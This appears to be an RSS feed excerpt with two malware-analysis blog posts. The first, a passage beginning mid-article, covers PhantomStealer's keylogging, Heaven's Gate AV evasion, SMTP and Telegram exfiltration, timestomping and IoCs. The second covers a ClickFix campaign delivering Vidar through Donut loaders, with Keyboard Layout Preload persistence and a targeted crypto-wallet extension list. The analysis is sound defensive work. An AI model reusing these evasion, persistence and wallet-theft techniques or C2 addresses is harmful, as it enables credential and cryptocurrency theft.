browsers.</p><p>Parses:</p><pre>key4.db<br>logins.json</pre><p>Uses GeckoCredDam (dedicated implementation)</p><h3>Surveillance Modules</h3><h4>Keylogger</h4><p>Implements a system-wide keyboard hook:</p><pre>WH_KEYBOARD_LL (Hook ID: 13)</pre><p>Key features:</p><ul><li>Runs on a dedicated background thread</li><li>Captures all keystrokes globally</li><li>Flushes logs after ~100 words</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*GdLHVQg-ytD9-PJnUPYdoQ.png" /><figcaption>Keylogger module</figcaption></figure><p>Special handling: Converts keys into readable format — [BACKSPACE], [CTRL], [SHIFT]</p><p>Targets sensitive contexts by window title:</p><pre>password<br>login<br>bank<br>gmail<br>bitcoin</pre><p>This allows reconstruction of credentials even with corrections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*1LswCm17cV9ISzxg0PCVzw.png" /><figcaption>Keylogger monitors these texts and captures related information</figcaption></figure><h4>Screenshot</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*orE1h9moADktcvrPynlTmg.png" /><figcaption>Screenshot module</figcaption></figure><p>Captures full screen periodically.</p><ul><li>Uses: Graphics.CopyFromScreen()</li><li>Frequency: every 30 minutes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*KgzVIBZ-BP8nWXGOOSEzXg.png" /><figcaption>Output format: &lt;MachineName&gt;_&lt;timestamp&gt;.png</figcaption></figure><h3>Heaven’s Gate</h3><p>One of the most interesting features inside stub.exe is its use of Heaven’s Gate<strong>, </strong>and honestly, this is what sets it apart from typical commodity stealers.</p><p>Heaven’s Gate allows a 32-bit process to execute 64-bit code by switching CPU modes at runtime. It does this by changing the segment selector from 0x23 (32-bit) to 0x33 (64-bit), effectively jumping out of the WOW64 layer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*tsRLJ9Y1C-dEPVii63wh3w.png" /><figcaption>HeavensGate module implementation</figcaption></figure><blockquote>Why does that matter?</blockquote><blockquote>Because most AV/EDR hooks sit inside the WOW64 layer. So when execution moves to 64-bit mode, those hooks are simply not there anymore.</blockquote><h3>Exfiltration Pipeline</h3><p>Since all credentials were encrypted, I examined the encryption mechanism first.</p><h4>Encryption Mechanism</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5hnrLnJIH9_Xu-PY6uHZw.png" /><figcaption>AES-256-CBC algorithm used for encryptio</figcaption></figure><p>AES-256-CBC is used. Both SaltBytes and CryptKey are hardcoded directly in the binary as static byte arrays. The final output is UTF-8 decoded, meaning all encrypted strings become plaintext after decryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*-8yA1qFmjIfsBktiZXdDsQ.png" /><figcaption>SaltBytes and CryptKey hardcoded</figcaption></figure><h4>External Communications</h4><p>The exfiltration pipeline credentials were hardcoded with an ENCRYPTED: prefix, indicating that some encryption is involved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*kwd7U2I60MswIs-n-qT3dw.png" /><figcaption>Exfiltration pipeline credentials</figcaption></figure><p>As observed, the malware calls DecryptConfig() method to decrypt the credentials before sending data by using them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*VCXtPpObsyYOr2i5hGtREw.png" /><figcaption>Decryption Flow</figcaption></figure><p>By placing a breakpoint on the return statement of DecryptConfig() in dnSpy, decrypted credentials can be captured sequentially as execution proceeds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*sQNzINWRC6lsP3RyEK56-A.png" /><figcaption>Breakpoint set on DecryptConfig()</figcaption></figure><h3>Decrypted Results</h3><p>Running the program, everytime it hits the breakpoint, the ENCRYPTED: data is displayed in its decrypted form:</p><h4>SMTP (Primary)</h4><p>All harvested data is zipped and sent via SMTP through the compromised mail relay mail.rovagrup.com.tr — a legitimate Turkish business whose mail server appears to have been hijacked for use as a sending relay, to the operator&#39;s receiving inbox at amospete26@gmail.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*tL6XPJd4odHxOilw0diCNA.png" /><figcaption>Compromised Turkish business SMTP relay</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHXgWJjBSTVapOQGxsSMVg.png" /><figcaption>The hijacked sender account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kRAurazW14zSlyNFjRsPOg.png" /><figcaption>The operator’s actual receiving inbox</figcaption></figure><h4>Telegram</h4><p>UploadToTelegram() assembles the endpoint as:</p><p>https://api.telegram.org/bot&lt;TOKEN&gt;/sendDocument?chat_id=&lt;ID&gt;</p><p>It uploads .txt, .png, and .json files as document attachments via multipart POST. Notably, even the base api.telegram.org URL is AES-encrypted in the binary — static scanners cannot grep for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*avJdZ5DJHR9PRVt5bBSg4Q.png" /></figure><p>Even the base api.telegram.org URL is AES-encrypted in the binary — static scanners cannot grep for it.</p><h4>Discord Webhook</h4><p>Fully implemented but unconfigured in this sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*FvPsf-unXUPgxywEqe4dHg.png" /></figure><h3>Persistence</h3><p>When enabled, the malware copies itself to %AppData%\Roaming\&lt;filename&gt; and adds a Run key at HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&lt;filename&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*chxjOKFG_yeRdaP7kZKm5Q.png" /><figcaption>Registry Persistence</figcaption></figure><h3>Anti-Forensics Measure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EH5deejfeGeuOiCqGZfrAQ.png" /><figcaption>SetFileCreationDate() — an anti-forensics measure</figcaption></figure><p>The malware sets all three file timestamps (creation, last write, last access) to <strong>exactly 2 years back:</strong> <strong>May 22nd, 03:16:28</strong>.</p><blockquote>This means that, an investigator sorting <em>%AppData%</em> by file date won&#39;t see a suspicious new file; they&#39;ll instead see something that apparently has been sitting there for two years.</blockquote><p>This is a deliberate anti-forensics measure.</p><h3>Self-Destruction</h3><p>When triggered by any anti-analysis detection or after job completion, the malware writes a randomly-named GUID .bat file to %TEMP% .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*t3IIYrC9f9JcJB0gBct6VQ.png" /><figcaption>SelfDestruct.Melt()</figcaption></figure><p>It launches this hidden via cmd.exe /C, sleeps 5 seconds, then calls Environment.FailFast(null), an instant, uninterruptible hard crash that bypasses all exception handlers. The bat script kills the process, waits for it to die, then deletes itself. After a successful self-destruct, the executable is gone, the cleanup script is gone, and no process remains.</p><blockquote>The random GUID filename means the path is unpredictable and can&#39;t be blocklisted.</blockquote><h3>Exfiltrated Data</h3><p>Every successful infection triggers a structured report card sent to the operator’s Discord webhook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*1iknZwyxq30bqStL0Ab0kw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*lfOyUzQvD29L0G73n-A81Q.png" /><figcaption>Output Format</figcaption></figure><p>The installation status section tells the operator exactly which modules were active in this build.</p><p>At the bottom of every Discord notification sent by every PhantomStealer build worldwide sits this line, hardcoded by the author themselves: https://t.me/Oldphantomoftheopera</p><p>Following the link leads to the Telegram profile@Oldphantomoftheopera</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*5OHKD1pitFyE5zzzxa1msQ.png" /><figcaption>https[://]t[.]me[/]Oldphantomoftheopera</figcaption></figure><p>This is the MaaS storefront. The malware is advertising Phantom Stealer’s author with a watermark.</p><h3>Evidence Deletion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*FvPsf-unXUPgxywEqe4dHg.png" /><figcaption>Evidence Deletion</figcaption></figure><p>After successfully uploading stolen data, the malware deletes every .txt, .png, and .json file in the working directory programmatically.</p><p>The same cleanup is implemented for all exfiltration sources.</p><h3>IoC’s</h3><pre>| Indicator                              | Type          | Description                                      |<br>|----------------------------------------|---------------|--------------------------------------------------|<br>| mail.rovagrup.com.tr                   | Domain        | Compromised SMTP relay (Turkish business)        |<br>| muhasebe2@rovagrup.com.tr              | Email         | Hijacked sender account                          |<br>| amospete26@gmail.com                   | Email         | Operator receiving inbox                         |<br>| 91.92.240.251                          | IP Address    | C2 server hosting ENCRYPT.ps1                    |<br>| http://91.92.240.251/webma/ENCRYPT.Ps1 | URL           | Stage 2 delivery URL                             |<br>| VGJBW6N4PH0DN8RI6EPT                   | Mutex         | Host-based detection indicator                   |<br>| Phantom-DebugFile.log                  | Filename      | Debug artifact dropped in %TEMP%                 |<br>| specification_03902_091034_01212.pdf.js| Filename      | Initial dropper                                  |<br>| https://t.me/Oldphantomoftheopera      | URL           | Author&#39;s Telegram (MaaS storefront)              |<br>| https://www.phantomsoftwares.site/home | URL           | Author&#39;s MaaS website                            |<br>| v3.5.0                                 | Version String| Malware version identifier                       |</pre><h3>MITRE ATT&amp;CK Mapping</h3><pre>| Technique ID   | Name                                      | Usage                                                      |<br>|----------------|-------------------------------------------|------------------------------------------------------------|<br>| T1059.007      | JavaScript                                | Stage 1 JS dropper                                         |<br>| T1059.001      | PowerShell                                | ENCRYPT.ps1 and stage3.ps1                                 |<br>| T1027          | Obfuscated Files or Information           | Base64+RC4 in JS, XOR blob in PS1, AES config strings      |<br>| T1140          | Deobfuscate/Decode Files or Information   | Runtime decryption across all stages                       |<br>| T1055.012      | Process Hollowing                         | payload.exe injects into suspended process                 |<br>| T1620          | Reflective Code Loading                   | stage3.ps1 loads .NET assembly in memory                   |<br>| T1082          | System Information Discovery              | SystemInfo module - OS, CPU, GPU, RAM                      |<br>| T1057          | Process Discovery                         | AntiAnalysis process blocklist check                       |<br>| T1518.001      | Security Software Discovery               | AntiAnalysis AV enumeration via WMI                        |<br>| T1497.001      | System Checks                             | Anti-VM GPU, service, machine GUID checks                  |<br>| T1497.003      | Time Based Evasion                        | Emulator timing attack                                     |<br>| T1012          | Query Registry                            | WinSCP session harvesting, wallet registry paths           |<br>| T1539          | Steal Web Session Cookie                  | Chromium/Gecko cookie extraction                           |<br>| T1555.003      | Credentials from Web Browsers             | Browser password and autofill harvesting                   |<br>| T1415          | Browser Extensions                        | Browser wallet extension stealing (57 Chrome, 10 Edge)     |<br>| T1056.001      | Keylogging                                | WH_KEYBOARD_LL system-wide hook                            |<br>| T1113          | Screen Capture                            | 30-minute interval screenshot module                       |<br>| T1547.001      | Registry Run Keys / Startup Folder        | HKCU Run key persistence                                   |<br>| T1070.006      | Timestomp                                 | File timestamps backdated 2 years                          |<br>| T1070.004      | File Deletion                             | Post-exfil evidence deletion, self-destruct bat            |<br>| T1041          | Exfiltration Over C2 Channel              | SMTP, Telegram, Discord webhook exfil                      |<br>| T1071.003      | Mail Protocols                            | SMTP exfil via compromised relay                           |<br>| T1102          | Web Service                               | Telegram bot and Discord webhook exfil                     |<br>| T1562.001      | Disable or Modify Tools                   | SYS_SVC_STOP service manipulation capability               |</pre><p><strong>_______________________________________________________________</strong></p><p>Hope you found this insightful. Follow me for similar content like this!!</p><p>My LinkedIn: <a href="https://www.linkedin.com/in/rd-tarun">https://www.linkedin.com/in/rd-tarun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a71008fc1744" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/you-opened-a-pdf-it-compromised-your-entire-system-a71008fc1744">You Opened a “PDF”. It Compromised Your Entire System.</a> was originally published in <a href="https://meetcyber.net">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When “Verify You’re Human” Becomes Malware Execution]]></title>
            <link>https://medium.com/@tarunrd77/when-verify-youre-human-becomes-malware-execution-0c6e9540779d?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c6e9540779d</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Sun, 01 Feb 2026 15:22:10 GMT</pubDate>
            <atom:updated>2026-02-01T15:22:10.129Z</atom:updated>
            <content:encoded><![CDATA[<h4>A compromised Indian business domain, ClickFix PowerShell execution, Donut-packed loaders, and full-scale credential + crypto wallet theft</h4><h3>Introduction</h3><p><a href="https://www.google.com/search?q=radheindcorp&amp;oq=radheindcorp&amp;gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQIxgnMgYIAhAjGCcyCQgDEAAYDRiABDIJCAQQABgNGIAEMg8IBRAuGA0YrwEYxwEYgAQyBggGEEUYPDIGCAcQRRg90gEIMzkwOWowajeoAgCwAgA&amp;sourceid=chrome&amp;ie=UTF-8"><strong>Radhe Industrial Corporation</strong></a> is a real, established business based in Gujarat, India. They manufacture industrial equipment. They have a legitimate website, phone numbers, a LinkedIn presence, and a physical office address in Vavdi. They’re listed on Google Maps. By all accounts, they’re a genuine industrial supplier.</p><p>So why is their domain name — radheindcorp[.]com—serving <strong>weaponized malware</strong> designed to compromise computers worldwide?</p><p>This is the disturbing reality of modern cybercrime: threat actors don’t just create fake companies anymore. <strong>They hijack the digital identities of real businesses</strong>, leveraging their legitimacy to bypass user suspicion.</p><p>When victims see a company with a Google Business listing, contact information, and years of web presence, they’re far more likely to trust what appears on their screen.</p><p>But <strong>TRUST </strong>is exactly what makes this attack so dangerous.</p><h3>Executive Summary</h3><p>In this deep-dive analysis today, we’ll dissect a sophisticated malware campaign that weaponizes the identity of Radhe Industrial Corporation, using a fake Cloudflare verification page to deliver a multi-stage payload capable of remote code execution (RCE). This isn’t just another phishing attack, it is a masterclass in social engineering.</p><p>What makes this particularly insidious is that <strong>the real Radhe Industrial Corporation likely has no idea their domain is being used for weaponized cybercrime like this one.</strong></p><h3>Technical Analysis</h3><p>The attack begins at radheindcorp[.]com, displaying what appears to be a legitimate Cloudflare security verification. The victim is instructed to press Win+R, paste a command, and click OK — executing the malware manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGRTaiLkwFXIv1uXh0yOdQ.png" /><figcaption>radheindcorp.com—initial verification page</figcaption></figure><p>Pasting the “command” in Notepad++, we see a powershell iex cmdlet, designed to download some payload from an IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xVps1MD0fJBxGJ5Ni60r1A.png" /><figcaption>Initial powershell cmdlet</figcaption></figure><p><strong>Stage-1 Payload</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*oalaVPhDjt3kgEZx0Zv9qQ.png" /><figcaption>Downloading the Stage 1 payload</figcaption></figure><p>Downloading and opening the payload in Notepad++, we notice:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xeu7YMCvBgbwzkncdivKRg.png" /><figcaption>Stage 1 payload</figcaption></figure><p>1)The payload includes a deceptive message:</p><pre>Write-Host &quot;Wait please, don&#39;t close this window...&quot;</pre><p>This keeps victims from interrupting the infection process, appearing as though legitimate verification is occurring.</p><p>2)The initial script downloads and executes a more complex payload from 178.16.53.70</p><p><strong>Stage-2 Payload</strong></p><p>Downloading the Stage 2 payload from the IP and opening it,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*34w2dDbDmK7KtUqOwTVTBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdIfrCW3_bkODu54YkPUzw.png" /><figcaption>Contents of the 2nd Payload</figcaption></figure><ol><li>A Hardcoded URL is present for a file called <em>cptch.bin</em>, which is made to look like it’s something related to an image.</li><li>Memory space is allocated with <a href="https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants#:~:text=PAGE_EXECUTE_READWRITE,and%20Windows%20Server%C2%A02003%20with%20SP1.">RWX permissions (0x40)</a> (instead of using <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">VirtualProtect</a> API to avoid detection)</li><li>Common APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">VirtualAlloc </a>are used for allocating space.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/158/1*PVinnzgeRpppGvZggseU7g.png" /><figcaption>Downloading cptch.bin file</figcaption></figure><p>Opening DIE on cptch.bin,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*J1yg6eNMeape2EqNbPu2wQ.png" /><figcaption>DIE results of cptch.bin</figcaption></figure><p>The DIE results of cptch.bin revealed that it is comprised of <a href="https://medium.com/@lalithraghavanraghavan/donut-demystified-how-the-shellcode-generator-runs-net-and-pe-payloads-in-memory-322c0974f517">Donut</a>, an encryption mechanism where the shellcode is made position-independent.</p><p>To break Donut encryption, I started searching for methods to do it, and that’s when I came across the below Github repo to facilitate the task.</p><p><a href="https://github.com/volexity/donut-decryptor">GitHub - volexity/donut-decryptor: Retrieve inner payloads from Donut samples</a></p><p>Installed the tool and gave cptch.bin as input,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WCkVjNLfsSd48XJYCK8JIQ.png" /><figcaption>donut-decryptor of cptch.bin gave another file named mod_cptch.bin</figcaption></figure><h4>mod_cptch.bin</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*hwaXWxRjhJOBF00YaAsM2Q.png" /><figcaption>DIE results of mod_cptch.bin</figcaption></figure><p>The DIE results of mod_cptch.bin gave it as a normal C/C++ file, so I opened it in IDA to get a better idea of what the file is made of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pVwkSN61FIoy_N26SflzGw.png" /><figcaption>IDA view of mod_cptch.bin -&gt; Checking the Imports section</figcaption></figure><p>Examined the Network imports to observe possible C2 server details,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*AYbpTcqHa7g8ULKVO6otAg.png" /><figcaption>Network-related Imports of mod_cptch.bin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*KQXoBD6lAH9eYh5ydDTS_w.png" /><figcaption>The function which is responsible for the malware connecting to the Internet</figcaption></figure><p>The malware appears to open an HTTP session with WinHttpOpen using user agent &quot;M&quot;, and sets timeouts to 30 seconds for all operations.</p><p>It connects to a server specified by pswzServerName on port 80 (0x50). It sends the request and waits for a response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*86q6XTHSi8lbo33HKof9yg.png" /><figcaption>Seeing what &amp;pswzServerName pointed to</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*nlHbPr5SNfYx4bD6onSp7A.png" /><figcaption>An URL and suspicious API found</figcaption></figure><h4><strong>Analysis of mod_cptch.bin:</strong></h4><p>mod_cptch.bin is a dropper/loader malware that downloads a second-stage payload (cptchbuild.bin) from C2 server 94.154.35.115:80 using HTTP GET with minimal user agent “M” for stealth.</p><ol><li>It enables SeDebugPrivilege for process manipulation capabilities.</li><li>It targets svchost.exe (a legitimate Windows service host) for process injection/hollowing to hide malicious activity.</li><li>It uses direct memory allocation with no disk writes for the payload, making detection significantly harder.</li></ol><p>Downloaded the payload in mod_cptch.bin, i.e,</p><p>http[:][/][/]94.154.35.115[/]user_profiles_photo[/]cptchbuild.bin</p><p><strong>_______________________________________________________________</strong></p><h4>cptchbuild.bin</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*JDww4rzT_oq7kSKMeVNMIw.png" /><figcaption>DIE result of cptchbuild.bin</figcaption></figure><p>Since DIE told the file is encrypted with Donut, used the same <a href="https://github.com/volexity/donut-decryptor">donut-decryptor tool</a> to decrypt it, to get another file called mod_cptchbuild.bin</p><p><strong>_______________________________________________________________</strong></p><h4>mod_cptchbuild.bin</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*BqG2n_JQs_A60pq7VQW_1w.png" /><figcaption>DIE result of mod_cptchbuild.bin</figcaption></figure><p>The file is heavily engineered for stealth and reverse-engineering resistance. Along with layered encryption (especially repeated XOR-based decoding), it frequently avoids standard library calls and instead uses custom reimplementations of common routines (eg., memcpy/strlen-like logic), likely to evade static signatures and complicate analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*TBAlUE-SolGgfuoI1hQPMw.png" /><figcaption>Example: Custom strlen() implementation, named function to strlen_safe()</figcaption></figure><p>On top of that, almost every routine is filled with obfuscation and garbage logic such as:</p><ul><li>Fake stack allocations just to confuse analysts.</li><li>Dead code blocks and redundant branches everywhere.</li><li>Infinite loop constructs that are never actually hit during runtime.</li><li>Massive amounts of junk instructions inserted purely to disrupt decompilers.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*MQmAnko6f72uz1AuR-EbTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*CLNJnqkZurZMdIwtROGoCA.png" /><figcaption>Both these perform the same function. The Left side is obfuscated, Right side isnt ;)</figcaption></figure><p>That’s why the entropy of the file is high despite it being not packed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zluo_e1snCWN0CmOv-U9Ag.png" /><figcaption>DIE Entropy output — high due to the many random bytes i.e, the xor-encrypted bytes</figcaption></figure><p>The XOR string encryption itself is also intentionally obscured. Instead of a straightforward decode, the malware performs byte-wise XOR followed by a full character reversal, storing the reversed ciphertext inside the binary and only decrypting it at runtime when needed. This extra transformation makes static string recovery significantly harder.</p><p>All the functions have obfuscated names, I’ve renamed everything based on my understanding of the task they perform.</p><p>Overall, the sample appears deliberately designed to waste analyst time and resist both automated detection and manual reverse engineering.</p><h3>Data Exfiltration</h3><h4>Name of Victim’s PC</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*rwq0J-aKgBqum3k2ltDg_g.png" /><figcaption>sub_140067E60 — PC name hashing function</figcaption></figure><p>Exploring what v16 &amp; v17 are, we find that they’re being XOR’d with 0xD9 (in the lines below), and in doing that, we find that the malware is programmed to put <strong>“unknown”</strong> for the name of the Victim’s PC, incase GetComputerNameA failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*VpvjuzcirztG5AFXnhwmRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*3kQrZAcVqo7Vi7ejKqDshQ.png" /><figcaption>Data definition &amp; XOR with 0xD9</figcaption></figure><p>Similarly, it is done for obtaining the Username too, using GetUserNameA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*I6RjbpubKmUZIRupgqjicg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*l7WhIhTwx9hvd_k_IXUONA.png" /><figcaption>GetUserNameA</figcaption></figure><h4>Keyboard Layout &amp; Keystrokes (Persistence Mechanism too?!)</h4><ul><li>The Vidar stealer even goes as far as to collect the <strong>Keyboard Layout</strong>, and establish persistence via something most people consider insignificant.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*XhJZtfuqUox9XrGpTPiDmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*NmlHQvc4aSxgEbFLHCAOzQ.png" /></figure><ul><li>Done via through the HKEY_CURRENT_USER\Keyboard Layout\Preload registry key, this legitimate Windows component, normally used to store keyboard input methods loaded during user login, is weaponized by the malware to achieve early execution before most security software initializes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*BncDea27ufiuBQx4URp1WQ.png" /><figcaption>HKEY_CURRENT_USER\Keyboard Layout\Preload stores different values depending on the user’s choice</figcaption></figure><ul><li>It works by creating a malicious keyboard layout entry (e.g., HKCU\Keyboard Layout\Preload\5 = &quot;E0000001&quot;) that references a custom .dll file stored in user-writable locations like C:\ProgramData\.</li><li>When the user logs in, Windows automatically loads all keyboard layouts from the Preload key, triggering the malicious DLL to execute in the context of ctfmon.exe (the Windows Text Services Framework process).</li></ul><blockquote>This provides the malware with multiple advantages:</blockquote><blockquote>-&gt; Execution occurs within 3-5 seconds of login.</blockquote><blockquote>-&gt; It runs before antivirus initialization, requires no administrative privileges.</blockquote><blockquote>-&gt; It appears as legitimate Windows functionality, and is not monitored by traditional security tools.</blockquote><p>The technique also establishes an ideal foundation for <strong>keylogging</strong>, as IME DLLs legitimately receive every keystroke (by design), allowing the malware to capture credentials without using suspicious API hooks that would trigger detection.</p><h4>Browser Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*Ouxliw8eK-uJYqBJziH4rw.png" /><figcaption>XOR reveals what the malware is planning to steal here.</figcaption></figure><p>The malware enumerates browsers with a Browser List, and has specialized routines for stealing information from Firefox and Chromium-based browsers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bhu4tJ2yuEt0kzvf_fULSA.png" /><figcaption>Browser enumeration</figcaption></figure><p><strong>Stealing Firefox Content:</strong></p><p>The malware follows an aggressive approach to stealing Firefox content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DaTvIDthMzoebPvliRF4g.png" /><figcaption>Firefox stealing mechanism</figcaption></figure><p><strong>Stealing Chromium Content:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*zBHg_Z63CcD0YjKC8jnM8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*TaJy8VQEGckvlH46X02Adw.png" /><figcaption>APIs used for enumeration</figcaption></figure><p>The malware enumerates extension folders using these FindFirstFile and FindNextFile APIs, meaning that, it loops via every installed extension under a Chrome/Edge/Brave profile directory.</p><p>It cleverly avoids infinite recursing via current and parent directories, by explicitly comparing them with a strcmp_safe_sign function which assigns -1,0,+1 based on the length comparison of strcmp_safe_sign(substr,str)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQgr0tNdZaX56USYleaBKw.png" /><figcaption>The “.” and “..” part in the conditional is just a safety guard to prevent infinite recursion within the file system.</figcaption></figure><p>The three directories the malware accesses: Local Extension Settings, Sync Extension Settings, and IndexedDB\chrome-extension_&lt;ID&gt;_0.indexeddb.leveldb , they are exactly where Chrome extensions store their internal databases, configuration, cached secrets, and session state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*B-6t3QkXF9FR47rN67HYDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*XsMXFhNsU2hXwfcdRQYnfw.png" /><figcaption>The directories the malware accesses to steal information on Chromium browsers</figcaption></figure><p>Wallet extensions like MetaMask and Phantom store encrypted vault blobs and wallet-related state inside these folders, especially in IndexedDB and LevelDB files.</p><h4>Cryptocurrency Wallets</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*IpWJoQsqsIAdaCWBW3gEnA.png" /></figure><p>The malware implements a specialized function that systematically hunts for cryptocurrency wallet files across all storage devices, targeting dozens of wallet formats used by popular cryptocurrency applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*IaeHisZJ9JGkU7sLQ1OS_Q.png" /></figure><p>In addition, it specifically looks for keystore JSON files and wallet.dat files.</p><blockquote>Keystore JSON files store the wallet’s private key in an encrypted form.</blockquote><blockquote>Wallet.dat files typically include transaction records, key metadata, and both private and public keys, and may exist either unencrypted or encrypted. Even when encryption is enabled, weak password protection can allow attackers to crack the file and recover the wallet credentials.</blockquote><p>The following is the list of cryptowallet extensions that the malware attempts to steal:</p><pre>| Cryptowallet Name         | Browser Extension                |<br>| ------------------------- | -------------------------------- |<br>| Phantom                   | bfnaelmomeimhlpmgjnjophhpkkoljpa |<br>| Guarda                    | hpglfhgfnhbgpjdenjgmdgoeiappafln |<br>| Terra Station             | aiifbnbfobpmeekipheeijimdpnlpgpp |<br>| Rabby                     | acmacodkjbdgmoleebolmdjonilkdbch |<br>| TronLink                  | ibnejdfjmmkpcnlpebklmnkoeoihofec |<br>| Temple                    | ookjlbkiijinhpmnjffcofjonbfbgaoc |<br>| MathWallet                | afbcbjpbpfadlkmhmclhkeeodmamcflc |<br>| Keplr                     | dmkamcknogkgcdfhhbddcghachkejeap |<br>| Coin98                    | aeachknmefphepccionboohckonoeemg |<br>| RoninWallet               | fnjhmkhhmkbjkkabndcnnogagogbneec |<br>| BoltX                     | aodkkagnadcbobfpggfnjeongemjbjca |<br>| CloverWallet (CLV Wallet) | nhnkbkgjikgcigadomkphalanndcapjk |<br>| Brave Wallet              | odbfpeeihdkbihmopkbjmoonfanlbfcl |<br>| Harmony                   | fnnegphlobjdpkhecapkijjdkgcjhkib |<br>| NamiWallet                | lpfcbjknijpeeillifnkikgncikgfhdo |<br>| Solflare                  | bhhhlbepdkbapadjdnnojkbgioiodbic |<br>| BinanceChainWallet        | fhbohimaelbohpjbbldcngcnapndodjp |<br>| MaiarDeFiWallet           | dngmlblcodfobpdpecaadgfbcggfjfnm |<br>| MewCx / Enkrypt           | nlbmnnijcnlegkjjpcfjclmcfggfefdm |<br>| PaliWallet                | mgffkfbidihjpoaomajlbgchddlicgpn |<br>| BitAppWallet              | fihkakfobkmkjojpchpfgcmhfjnmnfpi |<br>| WavesKeeper               | lpilbniiabackdjcionkobglmddfbcjo |<br>| ICONex                    | flpiciilemghbmfalicajoolhkkenfel |<br>| Goby                      | jnkelfanjkeadonecabehalmbgpfodjm |<br>| EQUALWallet               | blnieiiffboillknjnepogjhkgnoapac |<br>| NeoLine                   | cphhlgmgameodnhkjdmkpanlelnlohao |<br>| Yoroi                     | ffnbelfdoeiohenkjibnmadjiehjhajb |<br>| XdefiWallet               | hmeobnfnfcmdkdcmlblgagmfpfboieaf |<br>| Sollet                    | fhmfendgdocmcbmfikdcogofphimnkno |<br>| RoninWalletEdge           | kjmoohlgokccodicjjfebfomlbljgfhk |<br>| Wombat                    | amkmjjmmflddogmhpjloimipbofnfjih 